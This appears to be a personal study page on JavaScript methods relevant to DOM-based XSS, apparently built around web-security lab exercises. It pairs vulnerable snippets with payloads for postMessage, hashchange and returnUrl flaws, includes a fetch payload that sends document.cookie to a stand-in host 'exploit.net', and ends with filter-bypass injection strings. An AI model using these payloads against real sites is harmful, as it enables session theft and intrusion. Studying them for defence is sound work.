On this page, I collected information about fundamental knowledge of JavaScript methods and techniques that are crucial for identifying and addressing cross-site scripting (XSS) vulnerabilities.
⚠️ vulnerable code
$(function() {
$('#backLink').attr("href",
(new URLSearchParams(window.location.search)).get('returnUrl')
);
});
You can exploit this by modifying the URL so that the location.search source
contains a malicious JavaScript URL. After the page's JavaScript applies this malicious URL to the back link's
href, clicking on the backlink will execute it:
👾 payload
?returnUrl=javascript:alert(document.domain) $(window).on('hashchange', function() {
var element = $(location.hash);
element[0].scrollIntoView();
});
The window.postMessage() method safely enables
cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned,
or between a page and an iframe embedded within it.
Normally, scripts on different pages are allowed to access each other if and only if the pages they originate
from share the same protocol, port number, and host (also known as the "same-origin policy").
window.postMessage() provides a controlled mechanism
to securely circumvent this restriction (if used properly).
postMessage(),
addEventListener("message"),
.on("message")
in the JavaScript files.
⚠️ vulnerable code
<script>
window.addEventListener('message', function(e) {
eval(e.data);
});
</script> 👾 payload
<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('print()','*')"> ⚠️ vulnerable code — DOM XSS using web messages and JSON.parse
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'),
ACMEplayer = {element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "page-load":
ACMEplayer.element.scrollIntoView();
break;
case "load-channel":
ACMEplayer.element.src = d.url;
break;
case "player-height-changed":
ACMEplayer.element.style.width = d.width + "px";
ACMEplayer.element.style.height = d.height + "px";
break;
}
}, false);
</script> 👾 payload
<iframe src=https://vulnerable.website.com/ onload='this.contentWindow.postMessage("{\"type\":\"load-channel\",\"url\":\"javascript:print()\"}","*")'>
The window.location object can be used to get the
current page address (URL) and to redirect the browser to a new page.
window.location.href returns the href (URL) of the current pagewindow.location.hostname returns the domain name of the web hostwindow.location.pathname returns the path and filename of the current pagewindow.location.protocol returns the web protocol used (http: or https:)window.location.assign() loads a new documentThe hash property of the Location interface returns a string containing a '#' followed by the fragment identifier of the URL — the ID on the page that the URL is trying to target.
<a id="myAnchor" href="/en-US/docs/Location.href#Examples">Examples</a>
<script>
const anchor = document.getElementById("myAnchor");
console.log(anchor.hash); // Returns '#Examples'
</script> ⚠️ vulnerable code
<script>
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' +
decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
</script> 👾 payload
<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>
The addEventListener() method of the EventTarget
interface sets up a function that will be called whenever the specified event is delivered to the target.
element.addEventListener("click", myFunction);
function myFunction() {
document.getElementById("demo").innerHTML = "Hello World";
}
The encodeURIComponent() function encodes a URI by
replacing each instance of certain characters by one, two, three, or four escape sequences representing
the UTF-8 encoding of the character (will only be four escape sequences for characters composed of two
surrogate characters). Compared to encodeURI(),
this function encodes more characters, including those that are part of the URI syntax.
// Encodes characters such as ?,=,/,&,:
console.log(`?x=${encodeURIComponent('test?')}`);
// Expected output: "?x=test%3F"
console.log(`?x=${encodeURIComponent('шеллы')}`);
// Expected output: "?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B" XMLHttpRequest (XHR) objects are used to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing. XMLHttpRequest is used heavily in AJAX programming.
function reqListener() {
console.log(this.responseText);
}
const req = new XMLHttpRequest();
req.addEventListener("load", reqListener);
req.open("GET", "http://www.example.org/example.txt");
req.send(); XMLHttpRequest (XHR) is a JavaScript API to create AJAX requests. Its methods provide the ability to send network requests between the browser and a server.
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://www.googleapis.com/discovery/v1/apis');
xhr.onload = () => console.log(JSON.parse(xhr.responseText));
xhr.send();
The preventDefault() method of the Event interface
tells the user agent that if the event does not get explicitly handled, its default action should not be
taken as it normally would be.
The message event is fired on a Window object when
the window receives a message, for example from a call to
Window.postMessage() from another browsing context.
The fetch() method in JavaScript is used to
request data from a server. The request can be of any type of API that returns the data in JSON or XML.
👾 payload
<script>
fetch('https://exploit.net', {
method: 'POST',
mode: 'no-cors',
body: document.cookie
});
</script> Execute a JavaScript immediately after a page has been loaded.
// in HTML
<body onload="myFunction()">
// in JavaScript
object.onload = function(){ myScript };
// Using addEventListener()
object.addEventListener("load", myScript); </scrip</script>t><img src=q onerror=alert(1)>
<img src=1 href=1 onerror="javascript:alert(1)"></img>